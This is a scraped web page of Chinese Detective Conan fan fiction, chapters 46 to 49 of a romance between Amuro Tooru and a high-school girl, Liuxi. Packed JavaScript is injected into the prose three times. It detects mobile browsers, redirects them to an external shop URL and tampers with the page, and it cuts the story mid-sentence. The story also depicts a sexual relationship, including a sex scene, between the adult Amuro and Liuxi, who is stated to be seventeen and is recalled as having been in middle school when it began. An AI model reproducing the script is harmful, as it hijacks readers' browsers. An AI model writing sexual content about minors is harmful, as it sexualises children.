“我不想再一个人回到那个空荡荡的出租屋。”鎏汐打断他,声音开始发颤,“不想再面对那些你曾经存在过的痕迹,不想再在每个深夜醒来时,身边只有冷冰冰的枕头。” 安室透的喉结滚动了一下。他走近一步,伸手想触碰她的脸,却在半空中停住了。 “三年。”鎏汐抬起头,直视他的眼睛,“安室透,你知道三年有多长吗?一千多个日夜,两万多个小时。你知道我在这三年里,是怎么过来的吗?” 她的声音没有提高,却比任何呐喊都更有力。安室透的手垂了下去,他的肩膀微微垮下,那是鎏汐从未见过的、近乎脆弱的姿态。 “我知道。”他说,声音沙哑,“因为我也数过。每一天,每一小时,每一分钟。” “那你为什么——”鎏汐的声音哽咽了,“为什么连一封信都没有?为什么连一个电话都不打?你知道我有多害怕吗?不是怕你不回来,是怕你回不来了!怕你在某个我不知道的地方……怕你……” 她说不下去了。三年的等待,三年的担忧,三年的委屈,在这一刻像决堤的洪水般汹涌而出。 安室透终于伸出手,将她拉进怀里。这一次,鎏汐没有抗拒。她靠在他的胸前,感受着他温热的体温,闻着他身上熟悉又陌生的气息,眼泪无声地浸湿了他的衬衫。 “对不起。”安室透在她耳边低语,声音破碎得像被碾碎的玻璃,“对不起,鎏汐。这一千多个日夜,我没有一天不在想你,没有一天不在担心你,没有一天……不在恨自己。” 他的手臂收得很紧,紧得几乎让鎏汐喘不过气来。但鎏汐没有挣扎,她只是闭上眼睛,让泪水肆意流淌。 “三年。”她重复道,“你知道我这三年是怎么熬过来的吗?每天去波洛上班,期待着某一天你会突然出现;每个月收到匿名汇款,知道你还活着,却不知道你在哪里,在做什么,是否安全;每次看到别人成双成对,就会想起我们曾经的样子……” “别说了。”安室透的声音里带着恳求,“鎏汐,别说了。” “我偏要说。”鎏汐抬起头,泪眼朦胧地看着他,“我要让你知道,你这三年给了我什么。不是甜蜜的回忆,不是温暖的陪伴,是无尽的等待和不确定的恐惧。安室透,你欠我的不是一句对不起,是整整三年的时光。” 月光下,安室透的脸色苍白得吓人。他的眼睛里有什么东西在破碎,那是鎏汐从未见过的痛楚和愧疚。 “我知道。”他说,每个字都像是从齿缝里挤出来的,“我知道我欠你的,这辈子都还不清。但鎏汐,如果时光能倒流,如果让我重新选择——” “你还会离开。”鎏汐替他说完了这句话,“对吗?” 安室透沉默了。这个沉默比任何回答都更伤人,却也更加真实。 良久,他才开口:“有些事,我无法选择。就像有些真相,我无法告诉你。但鎏汐,请你相信——如果我有任何选择,我绝不会离开你。绝不会。” 他的目光太真挚,太沉重,鎏汐几乎要被那目光压垮。她看着他,看着这个让她等了三年、怨了三年、却依然深爱着的男人,心中的那道冰墙在一点点崩塌。 “我相信。”她轻声说,然后踮起脚尖,吻上了他的唇。 这个吻开始得很轻,带着试探,带着迟疑。但很快就变得热烈起来。安室透的回应几乎是瞬间的,他收紧手臂,将她更深地拥入怀中,嘴唇辗转吮吸,像是要将这三年的分离都补回来。 鎏汐能尝到他唇间淡淡的咖啡苦味,能感觉到他身体的温度和心跳。她的手指插进他浅金色的发间,感受着发丝柔软的触感。安室透的吻从她的唇移向脸颊,移向耳垂,移向颈侧,每一个吻都带着滚烫的温度,每一个吻都像在诉说着千言万语。 “鎏汐……”他在她耳边低语,声音沙哑,“我的鎏汐……” 这个称呼让鎏汐的心猛地一颤。她抬起头,看着他在月光下英俊的脸庞,看着那双深情的眼睛,突然觉得这三年的等待,这三年的委屈,都在这一刻找到了出口。 “带我回家。”她轻声说,脸颊因为刚才的吻而泛着红晕,“你的家。” 安室透的眼中闪过惊喜,随即化为更深沉的爱意。他点点头,牵起她的手,十指相扣。 回安室透公寓的路很短,却又很长。两人谁都没有说话,只是紧紧握着彼此的手,像两个终于找到归途的旅人。偶尔有夜归的行人经过,投来好奇的目光,但他们都毫不在意。 安室透的公寓在一条安静的街道上,三楼,有宽敞的阳台和明亮的窗户。鎏汐不是第一次来这里,但这一次感觉完全不同。以前她是客人,是周末偶尔来同居的女友,而今天—— “欢迎回家。”安室透打开门,侧身让她先进去。 鎏汐踏进玄关,熟悉的布置映入眼帘——整洁的鞋柜,墙上挂着的简约装饰画,空气中淡淡的柠檬清洁剂味道。一切都和她记忆中的一样,却又有些不同。书架上多了几本新书,茶几上放着一个她以前没见过的水杯,阳台上多了一盆茂盛的绿植。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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鎏汐的手指穿过他的发间,声音因为情动而微微颤抖:“我也想你……每一天都想。想你做的三明治,想你煮的咖啡,想你保护我时宽阔的后背,想你抱着我时温暖的手臂……” 衣物一件件滑落在地板上,月光下交叠在一起。安室透温柔而克制,每一个触碰都小心翼翼,像在对待一件失而复得的珍宝。但鎏汐能感觉到他的压抑,能感觉到他手臂肌肉的紧绷,能感觉到他心跳如雷。 “透……”她唤他的名字,声音像叹息。 这个称呼像打开了某个开关。安室透的克制终于崩塌,他的吻变得热烈而急促,点燃一簇又一簇火焰。鎏汐回应着他,指甲在背上留下浅浅的抓痕,双腿缠上腰。 月光在房间里缓慢移动,从地板移到床脚,再移到墙壁上。汗水浸湿了床单,呼吸声和压抑的声音交织在一起。 “我爱你。”安室透在她耳边说,声音破碎而真挚,“鎏汐,我爱你。这三年,这句话我每天都在心里说千遍万遍,却从没能亲口告诉你。” 鎏汐的眼泪又流了出来,但这一次是喜悦的泪水。她抬起上半身,吻住他的唇,将所有的爱意都倾注在这个吻里。 鎏汐觉得自己的灵魂都要出窍了。她紧紧抱着安室透,指甲深深陷入他的皮肤,像要将他刻进自己的身体里。安室透将所有的热情都释放出来。 然后一切都安静下来。 月光已经移到了床头,安室透没有立刻离开,他维持着拥抱的姿势,轻轻吻着鎏汐汗湿的额头。 “累了?”他低声问。 鎏汐摇摇头,又点点头,最后轻声笑了。安室透也跟着笑起来,那笑声低沉而愉悦,在寂静的房间里回荡。 他翻身躺到她身边,将她搂进怀里。鎏汐将脸贴在他的胸膛上,听着他沉稳的心跳声,觉得前所未有的安心。 “透。”她轻声唤他。 “嗯?” “工藤新一的事……你真的会继续调查吗?” 安室透沉默了几秒,然后说:“会。但我需要你的配合。有些事我不能说,但你可以相信我——我会尽我所能找到他,也会尽我所能保护你。” 鎏汐抬起头,看着他在月光下柔和的脸庞。她知道他话里的深意,知道那些“不能说的事”是什么,知道他的真实身份和危险任务。 但她不再追问了。 “我相信你。”她说,然后重新将脸埋进他怀里,“睡吧,明天还要早起。” 安室透在她发顶落下一个吻,手臂收紧,将她更紧地拥在怀中。 47.第 47 章 鎏汐在安室透的怀中醒来,意识比身体先一步清醒。 她躺着一动不动,感受着身侧男人沉稳的呼吸,感受着他手臂环在她腰间的重量,感受着被窝里两人交叠的体温。昨晚的一切像一场过于真实的梦——工藤新一的失踪,废弃仓库的危险,还有安室透那句沉重的道歉,那个漫长的、仿佛要将三年时光都补回来的吻。 三年。 鎏汐悄悄转过头,看向安室透沉睡的侧脸。晨光勾勒出他高挺的鼻梁和线条分明的下颌,浅金色的睫毛在眼下投出淡淡的阴影。比起三年前,他成熟了许多,气质里多了些她读不懂的东西,像是经历太多而沉淀下来的重量。 但她还是认得这张脸。这张脸曾在她国中毕业旅行时,在冲绳的海边为她拍照;曾在她深夜补习疲惫时,温柔地为她按摩肩膀;也曾在那场暴雨夜的密室杀人案后,在波洛咖啡厅的休息室里,第一次完全地拥有她。 鎏汐伸出手,指尖悬停在他的脸颊上方,迟迟没有落下。她害怕触碰会惊醒这个梦,害怕醒来发现这又是一场空。 “看够了?”安室透闭着眼睛,嘴角却微微上扬。 鎏汐的手僵在半空,随即被他握住,轻轻按在自己的脸颊上。他的皮肤温热,下巴有细微的胡茬,触感真实得不容置疑。 “你装睡。”鎏汐指控,声音里带着晨起的沙哑。 “刚醒。”安室透睁开眼睛,紫灰色的眸子在晨光里清澈得像玻璃,“而且,有人在偷看我,我怎么能继续睡?” 他的语气轻松,带着久违的调侃。鎏汐看着他,看着那双眼睛里熟悉的温柔,心里的某个角落终于彻底软化了。 “几点了?”她问。 安室透看了一眼床头的闹钟:“七点半。你今天有课吗?” “上午没课,下午有两节。”鎏汐说着想要起身,却被安室透搂得更紧,“放开,我要起床了。” “再躺一会儿。”安室透的声音里带着慵懒的鼻音,“三年了,让我多抱一会儿。” 这句话像一把钥匙,打开了昨夜被激情掩盖的某些东西。鎏汐的动作停住了,她重新躺回他的怀里,安静地听着他的心跳。 “透。”她轻声说,“工藤新一的事……你今天还要去调查吗?” 安室透沉默了几秒,手臂的力道微微收紧:“嗯。但我会先送你去学校。” “不用,我可以——” “让我送。”安室透打断她,语气温和却不容拒绝,“昨天的事让我意识到,那个组织可能还在附近活动。在你安全到达学校之前,我不放心。” 鎏汐不再反对。她将脸埋在他的颈窝里,闻着他身上熟悉的味道——淡淡的波本威士忌香气,混合着某种清爽的沐浴露味。这味道和三年前一样,却又似乎有些不同。 “你换沐浴露了?”她突然问。 安室透愣了一下,随即低笑:“你还记得我以前的沐浴露味道?” “记得。”鎏汐小声说,“是薄荷味的。现在这个……有点像雪松?” “嗯,换了。”安室透的声音里带着某种难以言说的情绪,“原来的那款停产了。我找了很多替代品,最后选了这种。” 三年。连沐浴露的味道都变了。 鎏汐没有再说话。两人就这样静静地相拥,听着窗外渐渐响起的城市苏醒的声音——远处公交车的引擎声,邻居开窗的声音,楼下便利店卷帘门拉起的声音。 生活还在继续,不管昨夜发生了什么。 最后还是安室透先起身。他轻轻将鎏汐从怀里放开,翻身下床。晨光勾勒出他赤裸的上半身,结实的肌肉线条在光线里显得格外清晰。鎏汐注意到他背上有一道新的伤疤,从肩胛骨一直延伸到腰际,颜色比周围的皮肤浅,像是愈合了很久。 “那是……” “一次任务中受的伤。”安室透背对着她,语气平静得像在说别人的事,“已经好了。” 他没有多说,鎏汐也没有追问。有些事情,她宁愿不知道细节。 安室透从衣柜里拿出干净的衣物,递给鎏汐一套:“你的衣服昨晚……嗯,暂时穿我的吧。衬衫和裤子,应该能穿。” 鎏汐接过衣服。安室透的衬衫对她来说太大了,穿在身上空荡荡的,袖子要卷好几道。裤子更是长了一大截,她不得不把裤脚卷起来。 当她从卧室走出来时,安室透正在厨房煮咖啡。听到声音,他转过身,看到她的样子,眼睛里的笑意几乎要溢出来。 “很适合你。”他笑着说。 “少来。”鎏汐瞪了他一眼,走到吧台边坐下。 安室透将一杯咖啡推到她面前,又在旁边放了一小罐牛奶和糖包:“还是老样子,加一勺糖,不要牛奶?” 他还记得。鎏汐的鼻子突然有点酸。三年了,他还记得她喝咖啡的习惯。 “嗯。”她低下头,掩饰突然泛红的眼眶。 安室透没有戳破,只是转身去做早餐。很快,厨房里响起煎蛋和烤面包的声音,香味弥漫开来。鎏汐捧着咖啡杯,看着他忙碌的背影,突然觉得这一刻熟悉得令人心碎。 就像三年前的无数个早晨一样。他在厨房做早餐,她坐在吧台边等。有时候她会从后面抱住他,把脸贴在他的背上,听他无奈地说“别闹,小心油溅到你”。 “想什么呢?”安室透端着两个盘子走过来,在她对面坐下。 盘子里是煎得恰到好处的荷包蛋、烤得金黄的面包,还有几片火腿和蔬菜沙拉。摆盘精致得不像早餐,倒像是餐厅里的出品。 “你厨艺又进步了。”鎏汐拿起叉子。 “这三年的兼职里,有段时间在法国餐厅的后厨工作。”安室透轻描淡写地说,“学了一点。” 法国餐厅。鎏汐想象着他在异国他乡的后厨里忙碌的样子,想象着他穿着厨师服,在陌生的语言环境里工作。这三年,他到底经历了什么? “你……”她欲言又止。 “嗯?” “没什么。”鎏汐摇摇头,开始吃早餐。 食不言寝不语,这是他们之间不成文的规矩。两人安静地吃完早餐,安室透起身收拾餐具,鎏汐想要帮忙,却被他按回椅子上。 “今天让我来。”他说。 鎏汐没有坚持。她坐在那里,看着他熟练地清洗餐具,擦干,放回原位。每一个动作都流畅自然,像是这个家里从未有过三年的空缺。 等她换回自己的衣服,整理好一切准备出门时,已经快九点了。安室透拿起车钥匙,走到她身边。 “走吧,我送你去学校。” “你不是还要调查——” “送你更重要。”安室透打断她,语气认真,“而且,顺路。” 他所谓的“顺路”,就是先把她送到帝丹高中,然后再绕大半个城市去继续调查。鎏汐知道这一点,但她没有说破。 安室透的车是一辆白色的马自达RX-7,保养得很好,但看得出来有些年头了。鎏汐坐进副驾驶座,系好安全带。车内很干净,几乎没有个人物品,只有后座上放着一个黑色背包,看起来鼓鼓囊囊的。 “新买的车?”她问。 “不是,一直有的。”安室透发动引擎,“只是之前很少开。” 车子平稳地驶上街道。早晨的东京车水马龙,上班族和学生汇成拥挤的人潮。阳光透过车窗洒进来,在两人的身上投下晃动的光斑。 “鎏汐。”等红灯时,安室透突然开口,“关于昨天的事……工藤新一的失踪,我希望你不要再插手了。” 鎏汐转头看他:“为什么?” “太危险。”安室透的眼睛盯着前方的信号灯,侧脸线条紧绷,“那个组织……比你想像的要危险得多。我不想把你卷进来。” “但小兰是我的朋友,新一也是。”鎏汐说,“而且,昨天如果不是我提醒你注意废弃仓库,你可能根本不会想到去那里调查。” 安室透的手指在方向盘上收紧:“正因为如此,我才更担心。你对案件的‘直觉’太准了,准得让人不安。鎏汐,有些时候知道得太多不是好事。” 鎏汐沉默了。她知道安室透在担心什么,也知道他说得对。但有些事,不是想避开就能避开的。尤其是在这个世界里,在这个《名侦探柯南》的世界里。 “我答应你,会尽量小心。”她最终说,“但我不能完全不管。小兰现在需要支持,而我是少数知道部分真相的人。” “你知道什么真相?”安室透敏锐地问。 鎏汐心里一紧,知道自己说漏嘴了。她故作镇定地说:“我知道新一不是普通的失踪,知道这件事背后有更大的阴谋。这就是真相。” 信号灯变绿了。安室透踩下油门,车子继续前行。他没有再追问,但鎏汐能感觉到他的疑虑并没有消失。 车子在帝丹高中门口停下。正是上学高峰期,校门口挤满了穿着制服的学生。当鎏汐从安室透的车上下来时,不少人都投来了好奇的目光。 “放学我来接你。”安室透降下车窗说。 “不用,我自己——” “我来接你。”安室透的语气不容拒绝,“五点半,校门口。不要乱跑。” 鎏汐看着他认真的表情,最终点了点头:“好。” 安室透这才露出满意的微笑。他伸出手,轻轻碰了碰她的脸颊:“去吧,好好上课。” 鎏汐转身走进校门。走了几步,她忍不住回头,看到安室透的车还停在原地。透过车窗,她能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074328|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到他正看着她,直到她走进教学楼,车子才缓缓驶离。 “哇哦,那是不是安室前辈?” 铃木园子的声音突然在耳边响起,吓了鎏汐一跳。她转过头,看到园子和毛利兰正站在楼梯口,两人的表情都带着促狭的笑意。 “你们……” “我们都看到了哦。”园子挤眉弄眼地说,“从安室前辈的车里下来,他还摸你的脸!说,你们昨晚是不是——” “园子!”毛利兰拉了拉她的袖子,然后担忧地看着鎏汐,“鎏汐,新一的事……有消息吗?” 提到工藤新一,园子的笑容也消失了。三个女孩站在楼梯间的角落里,气氛一下子沉重下来。 “暂时还没有。”鎏汐尽量让自己的声音听起来平静,“但安室先生还在调查。小兰,你要相信,新一一定会没事的。” 她不能说太多,只能这样苍白地安慰。毛利兰的眼睛又红了,但她坚强地点了点头:“嗯,我相信。” 上课铃响了,三人匆匆赶往教室。一整天,鎏汐都心神不宁。她想着工藤新一,想着他现在应该已经以江户川柯南的身份出现了;想着安室透,想着他此刻正在哪里调查,是否安全;想着昨晚的一切,想着三年分离后的那个拥抱和亲吻。 下午最后一节课结束时,鎏汐几乎是第一个冲出教室的。她跑到校门口,果然看到那辆白色的马自达已经等在那里了。 安室透站在车边,背靠着车门,双手插在裤袋里。夕阳将他的影子拉得很长,也给他整个人镀上了一层金色的光晕。不少放学的女生都在偷偷看他,但他似乎毫无察觉,只是专注地看着校门口的方向。 看到鎏汐,他的脸上露出了笑容。 “准时。”他说,为她打开车门。 “你等了很久?”鎏汐坐进车里,问道。 “刚到。”安室透绕到驾驶座,“今天怎么样?” “还好。”鎏汐系好安全带,“小兰和园子看到你送我上学了。” 安室透发动车子,嘴角带着笑意:“然后呢?” “然后园子就开始各种八卦。”鎏汐无奈地说,“小兰……她很难过,但还是强撑着。” 提到毛利兰,车内的气氛又凝重起来。安室透沉默了一会儿,说:“我今天去了一趟阿笠博士家。” 鎏汐的心跳漏了一拍:“然后呢?” “博士说他昨晚确实收留了一个受伤的孩子,说是远房亲戚家的,寄住一段时间。”安室透的语气平静,“但那孩子很怕生,一直躲在房间里不出来。” 江户川柯南。他已经出现了。 “你觉得那孩子……” “我不知道。”安室透摇摇头,“但我有一种感觉,新一的失踪和那个组织有关,而那个孩子可能知道些什么。博士的态度也有点奇怪,好像在隐瞒什么。” 当然会隐瞒。鎏汐心想。阿笠博士当然要隐瞒柯南的真实身份。 “那你接下来打算怎么办?”她问。 “继续调查。”安室透说,“但这次,我要你答应我一件事——不要单独行动,不要涉入太深,有任何情况第一时间告诉我。” 他的语气严肃,鎏汐知道这不是在开玩笑。她点点头:“我答应你。” 车子停在波洛咖啡厅门口。安室透没有立刻下车,而是转头看着鎏汐:“今晚……你还要去兼职吗?” 鎏汐看了看时间:“嗯,六点开始。” “那我陪你。”安室透说,“我也该上班了。” 两人一起走进咖啡厅。店长看到他们一起出现,露出了然的笑容:“哟,和好啦?” “多管闲事。”安室透笑着回了一句,走进吧台开始准备工作。 鎏汐也去换了工作服。当她系好围裙走出来时,安室透已经煮好了两杯咖啡,将其中一杯递给她。 “提提神。”他说。 鎏汐接过咖啡,两人的手指在杯壁处短暂地触碰。安室透看着她,眼神温柔得让她的心跳加快。 “欢迎回来。”他轻声说。 不是“欢迎来上班”,而是“欢迎回来”。鎏汐听懂了这句话的双重含义,她低下头,掩饰微微发烫的脸颊。 “我……我去擦桌子。”她小声说,转身走向用餐区。 安室透看着她落荒而逃的背影,嘴角的笑意更深了。他转身开始准备今晚的食材,动作轻快得像在跳舞。 咖啡厅的铃铛响了,第一批客人走了进来。忙碌的夜晚开始了。 但这一次,忙碌中带着久违的甜蜜。安室透在吧台煮咖啡时,会不时抬头看向鎏汐;鎏汐在送餐时,会经过吧台,假装不经意地看他一眼。偶尔两人的目光对上,就会迅速移开,但嘴角的笑意却藏不住。 48.第 48 章 鎏汐熟练地擦拭着靠窗的第三张桌子——那是安室透最喜欢的位置,如今也成为他们每天清晨见面的固定角落。 距离仓库那一夜的温存和解,已经过去两个月。季节从初夏转入盛夏,东京的街头弥漫着湿热的气息,但鎏汐的心情却像被清风拂过的湖面,漾开层层温柔涟漪。 “早安。” 低沉的嗓音从身后传来,鎏汐转身,安室透已经端着两个马克杯站在她身后。他今天穿着浅灰色的衬衫,袖口挽到小臂,露出线条流畅的肌肉。比起两年前,他的五官更加深邃硬朗,可当她望进那双紫灰色的眼眸时,那里面藏着的温柔却比记忆中的任何时刻都要浓烈。 “今天这么早?”鎏汐接过他递来的杯子,浓郁的咖啡香混合着奶泡的甜腻——是她最喜欢的卡布奇诺,安室透记得她所有的喜好。 “想和你多待一会儿。”安室透自然地在她对面的位置坐下,目光始终没有离开她的脸,“今天下午有任务,可能赶不上送你放学。” 他的坦诚让鎏汐心头一暖。从前那些“不辞而别”的阴影,正在他一次次主动报备行踪的举动中逐渐消散。她搅拌着咖啡,轻声说:“没关系,园子说放学后要拉我去新开的甜品店试吃。” 安室透的眉头却微微蹙起:“铃木家的那位大小姐……她最近是不是又给你介绍了什么奇怪的男生?” 语气里的醋意让鎏汐忍不住笑出声。她故意歪了歪头:“昨天确实有个篮球部的学长在教室门口等我,说是园子告诉他我——” 话没说完,安室透的手已经越过桌面,轻轻握住了她的手腕。他的指尖温热,力度却带着不容置疑的占有欲。 “你答应了?”他问,声音比刚才沉了几分。 鎏汐终于憋不住笑,反手握住他的手:“我说,我已经有男朋友了,是个会做超好吃三明治的咖啡厅服务员。” 安室透的表情这才松弛下来,甚至还带了点孩子气的得意。他松开手,从随身携带的纸袋里取出一个便当盒:“中午的午餐。今天做了照烧鸡肉三明治,多加了你喜欢的芝士。” 便当盒被推到她面前,鎏汐打开盖子,精致的摆盘让她眼睛一亮——不只是三明治,旁边还点缀着洗干净的草莓和切好的蜜瓜,甚至用海苔片摆出了一个小小的笑脸。 “你几点起床做的?”鎏汐抬头看他,心里涌起酸涩又甜蜜的暖流。 安室透只是笑着揉了揉她的头发:“反正睡不着。” 这句话背后藏着太多未尽之言。鎏汐知道,他所谓的“睡不着”,大概又是通宵处理任务后的短暂间隙。这两个月来,他总能在忙碌的间隙挤出时间陪她——哪怕只是清晨的半小时,午休的十五分钟,或是深夜送她回家时并肩走的那段路。 *** 帝丹高中的午休铃声响起时,鎏汐刚结束上午的数学测验。她抱着便当盒走向天台——这是她和安室透约定的地方,只要他在附近执行任务,中午一定会赶来陪她吃饭。 推开天台的门,那个熟悉的身影已经靠栏杆站着。他今天换了件深蓝色的T恤,戴着棒球帽,帽檐压得很低,可鎏汐还是一眼就认出了他。 “等很久了?”鎏汐快步走过去。 安室透转过身,很自然地接过她手中的书包:“刚到。” 两人在天台的长椅上坐下,鎏汐打开便当盒,将三明治分出一半递给他:“一起吃。” 安室透没有推辞,接过三明治咬了一口,目光却落在鎏汐的侧脸上。阳光洒在她浓密的长睫上,投下浅浅的阴影,她吃东西时微微鼓起的脸颊,让他的心头软成一滩春水。 “看什么?”鎏汐察觉到他的视线,脸颊微红。 “看你。”安室透坦率得让鎏汐心跳漏了一拍,“鎏汐,你比两年前……更漂亮了。” 不是客套的恭维,而是发自内心的感慨。十七岁的鎏汐,褪去了国中时期的些许青涩,五官更加明艳动人,那种混合着少女清纯与初熟女性妩媚的气质,让她无论走到哪里都像会发光。 鎏汐被他看得不好意思,低头专心吃三明治。安室透却忽然伸手,用拇指轻轻擦过她的嘴角:“沾到酱了。” 指尖的温度停留在唇边,鎏汐抬眸,对上他深邃的眼睛。天台的风轻轻吹过,带起她几缕长发,安室透很自然地将那缕头发别到她耳后,动作温柔得像在对待稀世珍宝。 “透……”鎏汐轻声唤他。 “嗯?” “你这次……会待多久?” 问题问出口的瞬间,鎏汐就后悔了。她看见安室透眼中的温柔凝滞了一瞬,取而代之的是浓得化不开的愧疚。 “对不起。”他说,“我——” “我不是在逼你。”鎏汐急忙打断他,握住他的手,“我只是……想有个心理准备。无论你什么时候走,我都会等你,但至少……别像上次那样,让我一觉醒来,身边就空了。” 安室透反手将她的手紧紧握住,力度大得像要把她揉进骨血里。他低头,额头轻轻抵住她的,呼吸交织在一起。 “我答应你。”他的声音低沉而郑重,“如果必须离开,我会亲口告诉你。不会让你再经历那种……醒来后发现全世界都空了的滋味。” 鎏汐的眼眶有些发热。她靠进他怀里,闻着他身上熟悉的、混合着咖啡和淡淡皂角香的气息,那是安室透独有的味道,是她在这两年无数个深夜里最想念的味道。 “对了。”安室透忽然想起什么,从口袋里掏出两张票,“下周日的音乐会,宫野明美——就是上次在案件里认识的那位钢琴家,她给了我两张前排的票。有兴趣吗?” 鎏汐接过票,眼睛亮了起来:“是那位被誉为‘钢琴魔女’的宫野明美?她的票超级难抢的!” “所以你要去吗?”安室透看着她兴奋的表情,嘴角不自觉上扬。 “当然!”鎏汐用力点头,随即又犹豫起来,“可是那天你不是有……” “我调班了。”安室透说得轻描淡写,但鎏汐知道,对于他这种同时打着好几份工、还要兼顾“特殊任务”的人来说,调班绝不是件容易的事。 她没再追问,只是将头靠在他肩上:“谢谢你,透。” “该说谢谢的是我。”安室透轻轻吻了吻她的发顶,“谢谢你……还愿意等我。” *** 下午的课程结束得比预期晚。当鎏汐抱着厚重的参考书走出校门时,夕阳已经将天空染成橘粉色。她正要往公交站走,却看见街对面那辆熟悉的白色马自达RX-7。 安室透靠在车门上,正低头看着手机。夕阳的光线勾勒出他挺拔的侧影,路过的女生频频回头,他却浑然不觉,直到鎏汐走近,他才抬起头,眼中瞬间漾开笑意。 “不是说今天赶不上吗?”鎏汐小跑过去。 安室透很自然地接过她的书包:“任务提前结束了。上车吧,带你去个地方。” 车子驶离闹市区,穿过几条鎏汐不熟悉的街道,最终停在一座小山坡上。安室透熄火下车,拉开副驾驶的门:“来。” 鎏汐跟着他走上山坡顶端,眼前豁然开朗——整片东京的夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079937|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景在脚下铺展开来,万家灯火如同散落人间的星辰,而远处东京塔的红白灯光,在渐暗的天色中显得格外温柔。 “你怎么找到这里的?”鎏汐惊叹地看着眼前的景色。 “执行任务时偶然发现的。”安室透从车后座拿出一个野餐毯铺在地上,又变魔术般取出两个保温杯,“热可可,你喜欢的。” 两人并肩坐下,鎏汐捧着温热的可可,看着安室透的侧脸在夜色中显得柔和许多。他今天似乎特别放松,连常年紧绷的肩膀线条都松弛下来。 “这里很美。”鎏汐轻声说。 “嗯。”安室透转头看她,“但不如你美。” 直白的情话让鎏汐脸颊发烫,她掩饰般喝了口可可,却听见安室透低声笑起来。那笑声低沉悦耳,像大提琴的弦音,震得她心头发痒。 “鎏汐。”他忽然唤她。 “嗯?” “高中毕业后,你有什么打算?” 鎏汐认真想了想:“考上东大医学系,这是我答应过妈妈的——原主的妈妈。然后……好好经营父母留下的遗产,让他们在天上也能安心。” “还有呢?” “还有……”鎏汐看向他,眼睛在夜色中亮如星辰,“等你。等你完成所有必须完成的事,等你……能以真实的身份,光明正大地站在我身边。” 安室透的喉结滚动了一下。他伸手,将鎏汐揽入怀中,下巴轻轻抵着她的发顶。鎏汐能感受到他胸腔里沉稳的心跳,一下,又一下,和她自己的心跳渐渐合拍。 “我不会让你等太久的。”他在她耳边低语,声音里带着某种鎏汐从未听过的决心,“等一切都结束……鎏汐,我会给你一个家。一个真正的、安稳的家。” 鎏汐的眼眶瞬间湿润。她没有说话,只是更紧地环住他的腰,将脸埋在他胸前。晚风拂过山坡,吹起两人的头发,交织在一起,就像他们注定纠缠的命运。 不知过了多久,安室透轻声说:“该回去了。明天你还有早课。” 回程的路上,两人都没有说话,但车内弥漫着一种静谧的温馨。安室透的右手一直握着鎏汐的左手,等红灯时,他会用拇指轻轻摩挲她的手背,那样细小的动作,却让鎏汐觉得整颗心都被填满了。 车子停在鎏汐租住的公寓楼下。安室透熄火,却没有立刻解锁车门。 “我送你上去。”他说。 “不用了,你明天还要早起。”鎏汐摇头,“我自己上去就好。” 安室透盯着她看了几秒,忽然解开安全带,倾身过来。鎏汐以为他要吻她,下意识闭上眼睛,却感觉到额头上传来温热的触感——一个轻柔的、珍重的吻。 “晚安,鎏汐。”他的声音近在咫尺。 “晚安,透。” 鎏汐推开车门,走了几步又回头。安室透还坐在车里,车窗降下,他正看着她,眼神温柔得像今晚的月光。 她忽然跑回去,趴在车窗上飞快地在他脸颊上亲了一下。 “明天见!”说完这句,她像受惊的小鹿般转身跑进公寓楼。 安室透愣了几秒,抬手摸了摸被亲过的地方,低低地笑了起来。那笑容在夜色中绽开,褪去了所有伪装和防备,是属于降谷零的、真实的温柔。 白色马自达在楼下停了很久才缓缓驶离。而公寓三楼的窗边,鎏汐躲在窗帘后,目送着车尾灯消失在街角,嘴角的笑意怎么也压不下去。 床头柜上,安室透送的音乐会票静静躺着。鎏汐拿起票,指尖拂过上面印刷的字迹,心里涌起满满的期待。 49.第 49 章 帝丹高中三年级教学楼的灯火,总在夜幕降临后依然通明。鎏汐坐在靠窗的位置,面前摊开的模拟试题密密麻麻,公式和符号在眼前交织成令人眩晕的网。 距离高考只剩下最后一个月了。 笔尖在草稿纸上划出沙沙的声响,却迟迟无法写下答案。鎏汐盯着那道复杂的生物遗传题,大脑像被冻住的齿轮,怎么也转不动。她烦躁地揉了揉太阳穴,视线无意间投向窗外——楼下,那辆熟悉的白色马自达RX-7正安静地停在路灯旁。 安室透靠在车门上,手里提着什么东西,正抬头望向她教室的方向。隔着三层楼的距离,鎏汐看不清他的表情,却能感受到他目光中的温度。她看了眼手表,已经晚上八点半,离他们约定的时间还有半小时。 “又来接你了?”同桌的女生凑过来,语气里满是羡慕,“安室前辈真是模范男友,这都快一个月了,天天雷打不动。” 鎏汐勉强笑了笑,低头继续看题,思绪却怎么也集中不了。最近这段时间,她明显感觉到自己的状态在下滑——失眠、食欲不振,做模拟题时屡屡犯低级错误。东大医学系的录取分数线高得吓人,每一次模考排名都像悬在头顶的达摩克利斯之剑。 “鎏汐?”温柔的声音在教室门口响起。 鎏汐抬头,安室透不知何时已经上来了。他今天穿了件深灰色的羊毛大衣,脖子上围着条格子围巾,手里提着印有波洛咖啡厅logo的纸袋。教室里还有几个埋头苦读的学生,见到他都投来好奇的目光。 “不是说九点吗?”鎏汐收拾书包,声音有些疲惫。 